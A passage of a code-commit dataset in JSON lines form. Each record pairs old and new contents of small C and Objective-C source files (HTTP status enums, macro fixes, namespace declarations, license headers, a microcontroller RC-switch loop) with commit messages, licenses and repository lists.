0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"yitian134\/chromium,adobe\/chromium,adobe\/chromium,gavinp\/chromium,gavinp\/chromium,gavinp\/chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,gavinp\/chromium,yitian134\/chromium,gavinp\/chromium,adobe\/chromium,adobe\/chromium,adobe\/chromium,adobe\/chromium,ropik\/chromium,gavinp\/chromium,ropik\/chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,yitian134\/chromium,yitian134\/chromium,yitian134\/chromium,gavinp\/chromium,ropik\/chromium,ropik\/chromium,adobe\/chromium,ropik\/chromium,gavinp\/chromium,Crystalnix\/house-of-life-chromium,ropik\/chromium,yitian134\/chromium,Crystalnix\/house-of-life-chromium,yitian134\/chromium,ropik\/chromium,ropik\/chromium,adobe\/chromium,gavinp\/chromium,adobe\/chromium,adobe\/chromium,Crystalnix\/house-of-life-chromium,yitian134\/chromium,gavinp\/chromium,Crystalnix\/house-of-life-chromium,yitian134\/chromium,Crystalnix\/house-of-life-chromium,yitian134\/chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,ropik\/chromium"}
{"commit":"662f8c29cd34b43057b5167b68d2b071633d8324","old_file":"arc\/arc\/Model\/FileHelper.h","new_file":"arc\/arc\/Model\/FileHelper.h","old_contents":"\/\/\n\/\/  FileHelper.h\n\/\/  arc\n\/\/\n\/\/  Created by Jerome Cheng on 24\/3\/13.\n\/\/  Copyright (c) 2013 nus.cs3217. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"File.h\"\n#import \"Folder.h\"\n#import \"FileObject.h\"\n\n@interface FileHelper : NSObject\n\n\/\/ Used to handle files passed in from other applications through iOS' \"Open in...\"\n\/\/ Moves the file into a folder named after that application (inside External Applications),\n\/\/ then returns it.\n- (File*) fileWithURL:(NSURL*)url sourceApplication:(NSString*)application annotation:(id)annotation;\n\n@end\n","new_contents":"\/\/\n\/\/  FileHelper.h\n\/\/  arc\n\/\/\n\/\/  Created by Jerome Cheng on 24\/3\/13.\n\/\/  Copyright (c) 2013 nus.cs3217. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"File.h\"\n#import \"Folder.h\"\n#import \"FileObject.h\"\n\n@interface FileHelper : NSObject\n\n\/\/ Used to handle files passed in from other applications through iOS' \"Open in...\"\n\/\/ Moves the file into a folder named after that application (inside External Applications),\n\/\/ then returns it.\n+ (File*)fileWithURL:(NSURL*)url sourceApplication:(NSString*)application annotation:(id)annotation;\n\n@end\n","subject":"Change fileWithURL:sourceApplications:annotation: to be a class method.","message":"Change fileWithURL:sourceApplications:annotation: to be a class method.\n","lang":"C","license":"mit","repos":"BenTobias\/arc,BenTobias\/arc,BenTobias\/arc,BenTobias\/arc,BenTobias\/arc,BenTobias\/arc"}
{"commit":"92e450372628ceb7c849c394c8e3c307f287974d","old_file":"server\/main.h","new_file":"server\/main.h","old_contents":"#include <fstream>\r\n#include <string>\r\n#include <vector>\r\n#include <pthread.h>\r\n#include <sys\/epoll.h>\r\n\r\n#include \"..\/parser.h\"\r\n#include \"connection.h\"\r\n#include \"Db.h\"\r\n#include \"MatrixServer.h\"\r\n\r\ntypedef struct Bundle Bundle;\r\n\r\nstruct Bundle {\r\n\tMatrixServer* matrix;\r\n\tDb* db;\r\n\tint epfd; \/\/for init only, not used in the threads\r\n\tint threadNo; \/\/for init only, not used in the threads\r\n\tstd::string portNo; \/\/for init only, not used in the threads\r\n};\r\n\r\nvoid bundleInit(Bundle& mydata);\r\nvoid bundleClean(Bundle& serverData);\r\nvoid threadsLaunch(Bundle& serverData);\r\nvoid* threadStart(void *arg);\r\n\r\nvoid getSocketMsg(std::string& msg, int fd);\r\nvoid rearmFD(int epfd, int fd);\r\n","new_contents":"#include <fstream>\r\n#include <string>\r\n#include <vector>\r\n#include <pthread.h>\r\n#include <sys\/epoll.h>\r\n\r\n#include \"..\/parser.h\"\r\n#include \"connection.h\"\r\n#include \"Db.h\"\r\n#include \"MatrixServer.h\"\r\n#include \"Bundle.h\"\r\n\r\n\/\/main.cpp\r\nvoid bundleInit(Bundle& mydata);\r\nvoid bundleClean(Bundle& serverData);\r\nvoid threadsLaunch(Bundle& serverData);\r\nvoid* threadStart(void *arg);\r\n","subject":"Move struct bundle declaration to dedicated header, and threads functions declarations to ThreadFunc.h","message":"Move struct bundle declaration to dedicated header, and threads functions declarations to ThreadFunc.h\n","lang":"C","license":"mit","repos":"BTriay\/QMessenger,BTriay\/QMessenger,BTriay\/QMessenger"}
{"commit":"7053bf9341d0e52c8e01703953b558c1a7eefb5c","old_file":"src\/http\/statuscodes.h","new_file":"src\/http\/statuscodes.h","old_contents":"","new_contents":"#ifndef APIMOCK_CODES_H\n#define\tAPIMOCK_CODES_H\n\n\/* From the specification at: http:\/\/www.w3.org\/Protocols\/rfc2616\/rfc2616-sec10.html *\/\n\nnamespace ApiMock {\n\tenum HTTP_RESPONSE_CODE {\n\t\t\/* Informational *\/\n\t\tHTTP_CONTINUE\t\t\t\t\t\t= 100,\n\t\tHTTP_SWITCHING_PROTOCOLS\t\t\t= 101,\n\n\t\t\/* Successful *\/\n\t\tHTTP_OK\t\t\t\t\t\t\t\t= 200,\n\t\tHTTP_CREATED\t\t\t\t\t\t= 201,\n\t\tHTTP_ACCEPTED\t\t\t\t\t\t= 202,\n\t\tHTTP_NON_AUTHORATIVE_INFO\t\t\t= 203,\n\t\tHTTP_NO_CONTENT\t\t\t\t\t\t= 204,\n\t\tHTTP_RESET_CONTENT\t\t\t\t\t= 205,\n\t\tHTTP_PARTIAL_CONTENT\t\t\t\t= 206,\n\n\t\t\/* Redirection *\/\n\t\tHTTP_MULTIPLE_CHOICES\t\t\t\t= 300,\n\t\tHTTP_MOVED_PERMANENTLY\t\t\t\t= 301,\n\t\tHTTP_FOUND\t\t\t\t\t\t\t= 302,\n\t\tHTTP_SEE_OTHER\t\t\t\t\t\t= 303,\n\t\tHTTP_NOT_MODIFIED\t\t\t\t\t= 304,\n\t\tHTTP_USE_PROXY\t\t\t\t\t\t= 305,\n\t\tHTTP_TEMPORARY_REDIRECT\t\t\t\t= 307,\n\n\t\t\/* Client error *\/\n\t\tHTTP_BAD_REQUEST\t\t\t\t\t= 400,\n\t\tHTTP_UNAUTHORIZED\t\t\t\t\t= 401,\n\t\tHTTP_FORBIDDEN\t\t\t\t\t\t= 403,\n\t\tHTTP_NOT_FOUND\t\t\t\t\t\t= 404,\n\t\tHTTP_METHOD_NOT_ALLOWED\t\t\t\t= 405,\n\t\tHTTP_NOT_ACCEPTABLE\t\t\t\t\t= 406,\n\t\tHTTP_PROXY_AUTH_REQUIRED\t\t\t= 407,\n\t\tHTTP_REQUEST_TIMEOUT\t\t\t\t= 408,\n\t\tHTTP_CONFLICT\t\t\t\t\t\t= 409,\n\t\tHTTP_GONE\t\t\t\t\t\t\t= 410,\n\t\tHTTP_LENGTH_REQUIRED\t\t\t\t= 411,\n\t\tHTTP_PRECONDITION_FAILED\t\t\t= 412,\n\t\tHTTP_REQUEST_ENTITY_TOO_LARGE\t\t= 413,\n\t\tHTTP_REQUEST_URI_TOO_LONG\t\t\t= 414,\n\t\tHTTP_UNSUPPORTED_MEDIA_TYPE\t\t\t= 415,\n\t\tHTTP_REQUREST_RANGE_NOT_SATISFIABLE\t= 416,\n\t\tHTTP_EXPECTATION_FAILED\t\t\t\t= 417,\n\t\t\n\t\t\/* Server error *\/\n\t\tHTTP_INTERNAL_SERVER_ERROR\t\t\t= 500,\n\t\tHTTP_NOT_IMPLEMENTED\t\t\t\t= 501,\n\t\tHTTP_BAD_GATEWAY\t\t\t\t\t= 502,\n\t\tHTTP_SERVICE_UNAVAILABLE\t\t\t= 503,\n\t\tHTTP_GATEWAY_TIMEOUT\t\t\t\t= 504,\n\t\tHTTP_VERSION_NOT_SUPPORTED\t\t\t= 505,\n\t};\n}\n\n#endif","subject":"Add HTTP status codes enum","message":"Add HTTP status codes enum\n","lang":"C","license":"mit","repos":"Lavesson\/api-mock,Lavesson\/api-mock,Lavesson\/api-mock,Lavesson\/api-mock"}
{"commit":"3132fa5c86cfa9e9a35666829dd6117e84234b5c","old_file":"base\/common.h","new_file":"base\/common.h","old_contents":"\/\/ Copyright (c) 2010 Timur Iskhodzhanov and others. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n#ifndef BASE_COMMON_H_\n#define BASE_COMMON_H_\n\n#include <assert.h>\n\n\/\/ Use CHECK instead of assert.\n\/\/ TODO(timurrrr): print stack trace when hitting a CHECK while preserving\n\/\/ \"abort trap\" feature on both Windows and POSIX.\n#define CHECK(x) assert(x)\n\n#ifdef _DEBUG\n#define DCHECK(x) do { } while (0 && (x))\n#else\n#define DCHECK(x) CHECK(x)\n#endif\n\n\/\/ Use this macro to disable copy constructor and operator= for CLASS_NAME. See\n\/\/ http:\/\/google-styleguide.googlecode.com\/svn\/trunk\/cppguide.xml?showone=Copy_Constructors#Copy_Constructors\n#define DISALLOW_COPY_AND_ASSIGN(CLASS_NAME) \\\n      CLASS_NAME(const CLASS_NAME &); \\\n  void operator=(const CLASS_NAME &);\n\n#define ARRAY_SIZE(arr) (sizeof(arr) \/ sizeof(arr[0]))\n\ntypedef unsigned char  uchar;\ntypedef unsigned char  byte;\ntypedef unsigned short ushort;\ntypedef unsigned int   uint;\nconst uint MAX_UINT = 0xFFFFFFFF;\n\/\/ TODO(timurrrr): add 64-bit and ptr type values when necessary.\n\n#endif  \/\/ BASE_COMMON_H_\n","new_contents":"\/\/ Copyright (c) 2010 Timur Iskhodzhanov and others. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n#ifndef BASE_COMMON_H_\n#define BASE_COMMON_H_\n\n#include <assert.h>\n\n\/\/ Use CHECK instead of assert.\n\/\/ TODO(timurrrr): print stack trace when hitting a CHECK while preserving\n\/\/ \"abort trap\" feature on both Windows and POSIX.\n#define CHECK(x) assert(x)\n\n#ifdef _DEBUG\n#define DCHECK(x) CHECK(x)\n#else\n#define DCHECK(x) do { } while (0 && (x))\n#endif\n\n\/\/ Use this macro to disable copy constructor and operator= for CLASS_NAME. See\n\/\/ http:\/\/google-styleguide.googlecode.com\/svn\/trunk\/cppguide.xml?showone=Copy_Constructors#Copy_Constructors\n#define DISALLOW_COPY_AND_ASSIGN(CLASS_NAME) \\\n      CLASS_NAME(const CLASS_NAME &); \\\n  void operator=(const CLASS_NAME &);\n\n#define ARRAY_SIZE(arr) (sizeof(arr) \/ sizeof(arr[0]))\n\ntypedef unsigned char  uchar;\ntypedef unsigned char  byte;\ntypedef unsigned short ushort;\ntypedef unsigned int   uint;\nconst uint MAX_UINT = 0xFFFFFFFF;\n\/\/ TODO(timurrrr): add 64-bit and ptr type values when necessary.\n\n#endif  \/\/ BASE_COMMON_H_\n","subject":"Fix a stupid mistake in DCHECK definition","message":"Fix a stupid mistake in DCHECK definition","lang":"C","license":"bsd-3-clause","repos":"denfromufa\/mipt-course,denfromufa\/mipt-course,denfromufa\/mipt-course,denfromufa\/mipt-course"}
{"commit":"ab401b01a7e87294881ed446903a5fcd33552973","old_file":"XamoomSDK\/classes\/XamoomSDK.h","new_file":"XamoomSDK\/classes\/XamoomSDK.h","old_contents":"\/\/\n\/\/  XamoomSDK.h\n\/\/  XamoomSDK\n\/\/\n\/\/  Created by Raphael Seher on 14\/01\/16.\n\/\/  Copyright © 2016 xamoom GmbH. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n\/\/! Project version number for XamoomSDK.\nFOUNDATION_EXPORT double XamoomSDKVersionNumber;\n\n\/\/! Project version string for XamoomSDK.\nFOUNDATION_EXPORT const unsigned char XamoomSDKVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <XamoomSDK\/PublicHeader.h>\n\n#import <XamoomSDK\/XMMEnduserApi.h>","new_contents":"\/\/\n\/\/  XamoomSDK.h\n\/\/  XamoomSDK\n\/\/\n\/\/  Created by Raphael Seher on 14\/01\/16.\n\/\/  Copyright © 2016 xamoom GmbH. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n\/\/! Project version number for XamoomSDK.\nFOUNDATION_EXPORT double XamoomSDKVersionNumber;\n\n\/\/! Project version string for XamoomSDK.\nFOUNDATION_EXPORT const unsigned char XamoomSDKVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <XamoomSDK\/PublicHeader.h>\n\n#import <XamoomSDK\/XMMEnduserApi.h>\n#import <XamoomSDK\/XMMContentBlocks.h>","subject":"Add XMMContentBlocks to framwork header file","message":"Add XMMContentBlocks to framwork header file\n","lang":"C","license":"mit","repos":"xamoom\/xamoom-ios-sdk,xamoom\/xamoom-ios-sdk,xamoom\/xamoom-ios-sdk"}
{"commit":"98c231d4b869ee1271df2681f705e981b152acec","old_file":"src\/net\/instaweb\/util\/public\/dynamic_annotations.h","new_file":"src\/net\/instaweb\/util\/public\/dynamic_annotations.h","old_contents":"","new_contents":"\/*\n * Copyright 2011 Google Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/\/ Author: morlovich@google.com (Maksim Orlovich)\n\/\/\n\/\/ dynamic_annotations.h provides various macros for interacting with tools like\n\/\/ valgrind, mostly to tell them of things like thread operations they would not\n\/\/ recognize otherwise. It also provides a way of detecting running under\n\/\/ valgrind.\n\n#ifndef NET_INSTAWEB_UTIL_PUBLIC_DYNAMIC_ANNOTATIONS_H_\n#define NET_INSTAWEB_UTIL_PUBLIC_DYNAMIC_ANNOTATIONS_H_\n\n#include \"base\/third_party\/dynamic_annotations\/dynamic_annotations.h\"\n\n#endif  \/\/ NET_INSTAWEB_UTIL_PUBLIC_DYNAMIC_ANNOTATIONS_H_\n","subject":"Add missing file from previous submit.","message":"Add missing file from previous submit.\n\n","lang":"C","license":"apache-2.0","repos":"VersoBit\/mod_pagespeed,webhost\/mod_pagespeed,wanrui\/mod_pagespeed,jalonsoa\/mod_pagespeed,pagespeed\/mod_pagespeed,VersoBit\/mod_pagespeed,webhost\/mod_pagespeed,patricmutwiri\/mod_pagespeed,webhost\/mod_pagespeed,webscale-networks\/mod_pagespeed,pagespeed\/mod_pagespeed,webscale-networks\/mod_pagespeed,jalonsoa\/mod_pagespeed,hashashin\/src,VersoBit\/mod_pagespeed,patricmutwiri\/mod_pagespeed,pagespeed\/mod_pagespeed,wanrui\/mod_pagespeed,webscale-networks\/mod_pagespeed,wanrui\/mod_pagespeed,webscale-networks\/mod_pagespeed,jalonsoa\/mod_pagespeed,jalonsoa\/mod_pagespeed,pagespeed\/mod_pagespeed,ajayanandgit\/mod_pagespeed,jalonsoa\/mod_pagespeed,webscale-networks\/mod_pagespeed,ajayanandgit\/mod_pagespeed,jalonsoa\/mod_pagespeed,jalonsoa\/mod_pagespeed,ajayanandgit\/mod_pagespeed,hashashin\/src,hashashin\/src,pagespeed\/mod_pagespeed,webhost\/mod_pagespeed,wanrui\/mod_pagespeed,webscale-networks\/mod_pagespeed,VersoBit\/mod_pagespeed,pagespeed\/mod_pagespeed,wanrui\/mod_pagespeed,hashashin\/src,webhost\/mod_pagespeed,VersoBit\/mod_pagespeed,ajayanandgit\/mod_pagespeed,VersoBit\/mod_pagespeed,patricmutwiri\/mod_pagespeed,hashashin\/src,webhost\/mod_pagespeed,wanrui\/mod_pagespeed,patricmutwiri\/mod_pagespeed,patricmutwiri\/mod_pagespeed,ajayanandgit\/mod_pagespeed,ajayanandgit\/mod_pagespeed,hashashin\/src,wanrui\/mod_pagespeed,pagespeed\/mod_pagespeed,webscale-networks\/mod_pagespeed,ajayanandgit\/mod_pagespeed,webhost\/mod_pagespeed,webhost\/mod_pagespeed,webscale-networks\/mod_pagespeed,patricmutwiri\/mod_pagespeed,hashashin\/src,patricmutwiri\/mod_pagespeed,wanrui\/mod_pagespeed,patricmutwiri\/mod_pagespeed,hashashin\/src,jalonsoa\/mod_pagespeed,VersoBit\/mod_pagespeed,ajayanandgit\/mod_pagespeed"}
{"commit":"283d41c689ed650235fd85b72db910d05d5048b0","old_file":"cpp\/src\/core\/CommonMatrixOperationsInterface.h","new_file":"cpp\/src\/core\/CommonMatrixOperationsInterface.h","old_contents":"","new_contents":"\/\/The MIT License (MIT)\n\/\/\n\/\/Copyright (c) 2016 Northeastern University\n\/\/\n\/\/Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/of this software and associated documentation files (the \"Software\"), to deal\n\/\/in the Software without restriction, including without limitation the rights\n\/\/to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/copies of the Software, and to permit persons to whom the Software is\n\/\/furnished to do so, subject to the following conditions:\n\/\/\n\/\/The above copyright notice and this permission notice shall be included in all\n\/\/copies or substantial portions of the Software.\n\/\/\n\/\/THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/SOFTWARE.\n\n#ifndef COMMON_MATRIX_OPERATION_INTERFACE_H_\n#define COMMON_MATRIX_OPERATION_INTERFACE_H_\n\n#include \"Matrix.h\"\n\nnamespace nice {\n\n\/\/Forward declaration\ntemplate <typename T>\nclass Matrix;\n\n\/\/Abstract class of common matrix operation interface\ntemplate <typename T>\nclass CommonMatrixOperationInterface {\n public:\n  virtual void SVD() = 0;\n  virtual Matrix<T> Multiply(const Matrix<T> &m) = 0;\n  virtual Matrix<T> Add(const Matrix<T> &m) = 0;\n  virtual Matrix<T> Substract(const Matrix<T> &m) = 0;\n  virtual void Transpose() = 0;\n  virtual Matrix<T> Inverse() = 0;\n  virtual Matrix<T> Norm(const int &p, const int &axis) = 0;\n  virtual Matrix<T> Multiply(const T &v) = 0;\n  virtual Matrix<T> Add(const T &v) = 0;\n  virtual Matrix<T> Substract(const T &v) = 0;\n};\n\n} \/\/ namespace nice\n\n#endif \/\/COMMON_MATRIX_OPERATION_INTERFACE_H_\n\n","subject":"Add common matrix operation interface","message":"Add common matrix operation interface\n","lang":"C","license":"mit","repos":"rockett-m\/NICE,seleanridley\/NICE,yiskylee\/NICE,rockett-m\/NICE,yiskylee\/NICE,seleanridley\/NICE,yiskylee\/NICE,rockett-m\/NICE"}
{"commit":"8ea9c9401cca7ea074d0e85ba57b2ccf42630cd7","old_file":"BBBAPI\/BBBAPI\/Classes\/BBASearchServiceResult.h","new_file":"BBBAPI\/BBBAPI\/Classes\/BBASearchServiceResult.h","old_contents":"\/\/\n\/\/  BBASearchServiceResult.h\n\/\/  BBBAPI\n\/\/\n\/\/  Created by Owen Worley on 12\/01\/2015.\n\/\/  Copyright (c) 2015 Blinkbox Entertainment Ltd. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n@class FEMObjectMapping;\n\/**\n *  Represents data provided from the search service when searching for books\n *\/\n@interface BBASearchServiceResult : NSObject\n\n@property (nonatomic, copy) NSString *type;\n@property (nonatomic, copy) NSString *identifier;\n@property (nonatomic, copy) NSArray *links;\n@property (nonatomic, assign) NSInteger numberOfResults;\n@property (nonatomic, copy) NSArray *books;\n\n\/**\n *  Object mapping to convert server search result to `BBASearchServiceResult`\n *\/\n+ (FEMObjectMapping *) searchServiceResultMapping;\n@end\n","new_contents":"\/\/\n\/\/  BBASearchServiceResult.h\n\/\/  BBBAPI\n\/\/\n\/\/  Created by Owen Worley on 12\/01\/2015.\n\/\/  Copyright (c) 2015 Blinkbox Entertainment Ltd. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n@class FEMObjectMapping;\n\/**\n *  Represents data provided from the search service when searching for books\n *\/\n@interface BBASearchServiceResult : NSObject\n\n@property (nonatomic, copy) NSString *type;\n@property (nonatomic, copy) NSString *identifier;\n\/**\n *  Array of `BBALibraryItemLink` objects\n *\/\n@property (nonatomic, copy) NSArray *links;\n@property (nonatomic, assign) NSInteger numberOfResults;\n@property (nonatomic, copy) NSArray *books;\n\n\/**\n *  Object mapping to convert server search result to `BBASearchServiceResult`\n *\/\n+ (FEMObjectMapping *) searchServiceResultMapping;\n@end\n","subject":"Document contents of Links array","message":"Document contents of Links array\n","lang":"C","license":"mit","repos":"blinkboxbooks\/blinkbox-network.objc,blinkboxbooks\/blinkbox-network.objc"}
{"commit":"00cbbaa30f3c3336f6bfeea39b8c2699fb43b6e0","old_file":"inc\/osvr\/Util\/SharedPtr.h","new_file":"inc\/osvr\/Util\/SharedPtr.h","old_contents":"\/** @file\n    @brief Header to bring shared_ptr into the ::osvr namespace.\n\n    @date 2014\n\n    @author\n    Ryan Pavlik\n    <ryan@sensics.com>\n    <http:\/\/sensics.com>\n\n*\/\n\n\/\/ Copyright 2014 Sensics, Inc.\n\/\/\n\/\/ All rights reserved.\n\/\/\n\/\/ (Final version intended to be licensed under\n\/\/ the Apache License, Version 2.0)\n\n#ifndef INCLUDED_SharedPtr_h_GUID_E9C5BC8D_7D3A_4896_1552_6F4F5292783C\n#define INCLUDED_SharedPtr_h_GUID_E9C5BC8D_7D3A_4896_1552_6F4F5292783C\n\n#if defined(_MSC_VER) && (_MSC_VER < 1600)\n#error \"Not supported before VS 2010\"\n\n#else\n#include <memory>\n\nnamespace osvr {\nusing std::shared_ptr;\nusing std::make_shared;\n} \/\/ namespace osvr\n#endif\n\n#endif \/\/ INCLUDED_SharedPtr_h_GUID_E9C5BC8D_7D3A_4896_1552_6F4F5292783C\n","new_contents":"\/** @file\n    @brief Header to bring shared_ptr into the ::osvr namespace.\n\n    @date 2014\n\n    @author\n    Ryan Pavlik\n    <ryan@sensics.com>\n    <http:\/\/sensics.com>\n\n*\/\n\n\/\/ Copyright 2014 Sensics, Inc.\n\/\/\n\/\/ All rights reserved.\n\/\/\n\/\/ (Final version intended to be licensed under\n\/\/ the Apache License, Version 2.0)\n\n#ifndef INCLUDED_SharedPtr_h_GUID_E9C5BC8D_7D3A_4896_1552_6F4F5292783C\n#define INCLUDED_SharedPtr_h_GUID_E9C5BC8D_7D3A_4896_1552_6F4F5292783C\n\n#if defined(_MSC_VER) && (_MSC_VER < 1600)\n#error \"Not supported before VS 2010\"\n\n#else\n#include <memory>\n\nnamespace osvr {\nusing std::shared_ptr;\nusing std::weak_ptr;\nusing std::make_shared;\nusing std::enable_shared_from_this;\n} \/\/ namespace osvr\n#endif\n\n#endif \/\/ INCLUDED_SharedPtr_h_GUID_E9C5BC8D_7D3A_4896_1552_6F4F5292783C\n","subject":"Include more items in our namespace with shared_ptr.","message":"Include more items in our namespace with shared_ptr.\n","lang":"C","license":"apache-2.0","repos":"leemichaelRazer\/OSVR-Core,feilen\/OSVR-Core,godbyk\/OSVR-Core,godbyk\/OSVR-Core,Armada651\/OSVR-Core,OSVR\/OSVR-Core,godbyk\/OSVR-Core,OSVR\/OSVR-Core,Armada651\/OSVR-Core,leemichaelRazer\/OSVR-Core,feilen\/OSVR-Core,Armada651\/OSVR-Core,godbyk\/OSVR-Core,godbyk\/OSVR-Core,Armada651\/OSVR-Core,d235j\/OSVR-Core,leemichaelRazer\/OSVR-Core,OSVR\/OSVR-Core,feilen\/OSVR-Core,leemichaelRazer\/OSVR-Core,godbyk\/OSVR-Core,OSVR\/OSVR-Core,d235j\/OSVR-Core,d235j\/OSVR-Core,Armada651\/OSVR-Core,d235j\/OSVR-Core,feilen\/OSVR-Core,OSVR\/OSVR-Core,leemichaelRazer\/OSVR-Core,OSVR\/OSVR-Core,d235j\/OSVR-Core,feilen\/OSVR-Core"}
{"commit":"579bb01db2d8b21d3de6223c6305eb94f3fc92f2","old_file":"src\/sampgdk.c","new_file":"src\/sampgdk.c","old_contents":"#include \"sampgdk.h\"\n\n#if SAMPGDK_WINDOWS\n  #undef CreateMenu\n  #undef DestroyMenu\n  #undef GetTickCount\n  #undef KillTimer\n  #undef SelectObject\n  #undef SetTimer\n  #include <windows.h>\n#endif\n","new_contents":"#include \"sampgdk.h\"\n\n#if SAMPGDK_WINDOWS\n  #undef CreateMenu\n  #undef DestroyMenu\n  #undef GetTickCount\n  #undef KillTimer\n  #undef SelectObject\n  #undef SetTimer\n  #define WIN32_LEAN_AND_MEAN\n  #include <windows.h>\n#else\n  #define _GNU_SOURCE\n#endif\n","subject":"Copy some definitions from CMakeLists.txt to preamble","message":"Copy some definitions from CMakeLists.txt to preamble\n","lang":"C","license":"apache-2.0","repos":"WopsS\/sampgdk,Zeex\/sampgdk,WopsS\/sampgdk,Zeex\/sampgdk,WopsS\/sampgdk,Zeex\/sampgdk"}
{"commit":"1b09860dd29bdf741fff1f20c28abff817f88cd1","old_file":"CreamMonkey.h","new_file":"CreamMonkey.h","old_contents":"#import <Cocoa\/Cocoa.h>\n\n\n@interface CreamMonkey : NSObject {\n}\n\n@end\n","new_contents":"\/*\n * Copyright (c) 2006 KATO Kazuyoshi <kzys@8-p.info>\n * This source code is released under the MIT license.\n *\/\n\n#import <Cocoa\/Cocoa.h>\n\n@interface CreamMonkey : NSObject {\n}\n\n@end\n","subject":"Add copyright and license header.","message":"Add copyright and license header.\n","lang":"C","license":"mit","repos":"torezzz\/greasekit"}
{"commit":"de50503cc4ef90f8e0eaa9786303bcc287284e33","old_file":"hardware\/main.c","new_file":"hardware\/main.c","old_contents":"#include <avr\/io.h>\n#include <util\/delay.h>\n#include <avr\/interrupt.h>\n\n#include \"deps\/util.h\"\n#include \"deps\/rcswitch\/rcswitch.h\"\n\n#define PIN_RC PB2\n\n#include \"deps\/softuart\/softuart.h\"\n#include \"packet.h\"\n\nint main(void) {\n    \/\/ initialize serial\n    softuart_init();\n\n    \/\/ enable interrupts\n    sei();\n\n    \/\/ enable the rc switch\n    rcswitch_enable(PIN_RC);\n\n    while (1) {\n\n        \/\/ if there is some data waiting for us\n        if (softuart_kbhit()) {\n\n            \/\/ parse the data\n            struct Packet packet;\n\n            binary_to_packet(&packet, softuart_getchar());\n\n            \/\/ handle the packet\n            if (packet.status) {\n                rcswitch_switch_on(packet.group + 1, packet.plug + 1);\n            } else {\n                rcswitch_switch_off(packet.group + 1, packet.plug + 1);\n            }\n        }\n    }\n\n    return 0;\n}\n","new_contents":"#include <avr\/io.h>\n#include <avr\/interrupt.h>\n\n#include \"deps\/rcswitch\/rcswitch.h\"\n#include \"deps\/softuart\/softuart.h\"\n#include \"packet.h\"\n\n#define PIN_RC PB2\n\nint main(void) {\n    \/\/ initialize serial\n    softuart_init();\n\n    \/\/ enable interrupts\n    sei();\n\n    \/\/ enable the rc switch\n    rcswitch_enable(PIN_RC);\n\n    while (1) {\n\n        \/\/ if there is some data waiting for us\n        if (softuart_kbhit()) {\n\n            \/\/ parse the data\n            struct Packet packet;\n\n            binary_to_packet(&packet, softuart_getchar());\n\n            \/\/ handle the packet\n            if (packet.status) {\n                rcswitch_switch_on(packet.group + 1, packet.plug + 1);\n            } else {\n                rcswitch_switch_off(packet.group + 1, packet.plug + 1);\n            }\n        }\n    }\n\n    return 0;\n}\n","subject":"Remove unused includes and move rc pin definition","message":"Remove unused includes and move rc pin definition\n","lang":"C","license":"agpl-3.0","repos":"jackwilsdon\/lightcontrol,jackwilsdon\/lightcontrol"}
{"commit":"54ed8514134558d13ab53b81f9d94836e036f351","old_file":"src\/thsh.c","new_file":"src\/thsh.c","old_contents":"\/*\n ============================================================================\n Name        : thsh.c\n Authors     : Collin Kruger, Denton Underwood, John Christensen, Jon Stacey\n Version     :\n Copyright   : Copyright 2009 Jon Stacey. All rights reserved.\n Description : Hello World in C, Ansi-style\n ============================================================================\n *\/\n\n#include <stdio.h>\n#include <stdlib.h>\n\nint main(void) {\n\tputs(\"!!!Hello World!!!\"); \/* prints !!!Hello World!!! *\/\n\treturn EXIT_SUCCESS;\n}\n","new_contents":"\/*\n ============================================================================\n Name        : thsh.c\n Authors     : Collin Kruger, Denton Underwood, John Christensen, Jon Stacey\n Version     :\n Copyright   : Copyright 2009 Jon Stacey. All rights reserved.\n Description : Hello World in C, Ansi-style\n ============================================================================\n *\/\n\n#include <stdio.h>\n#include <stdlib.h>\n\nextern char **environ;\n\nvoid printEnVars()\n{\n\tchar **env = environ;\n\tprintf(\"\\n\");\n\tprintf(\"%s\\n\", \"--These are the environmental variables--\");\n\n\twhile(*env)\n\t{\n\t\tprintf(\"%s\\n\", *env);\n\t\tenv++;\n\t}\n}\n\nint main(int argc, char *argv[], char *envp[])\n{\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ - Print Args\n\tprintf(\"%s\\n\", \"--This is the total number of args--\");\n\tprintf(\"%s\", \"argc | \");\n\tprintf(\"%i\\n\", 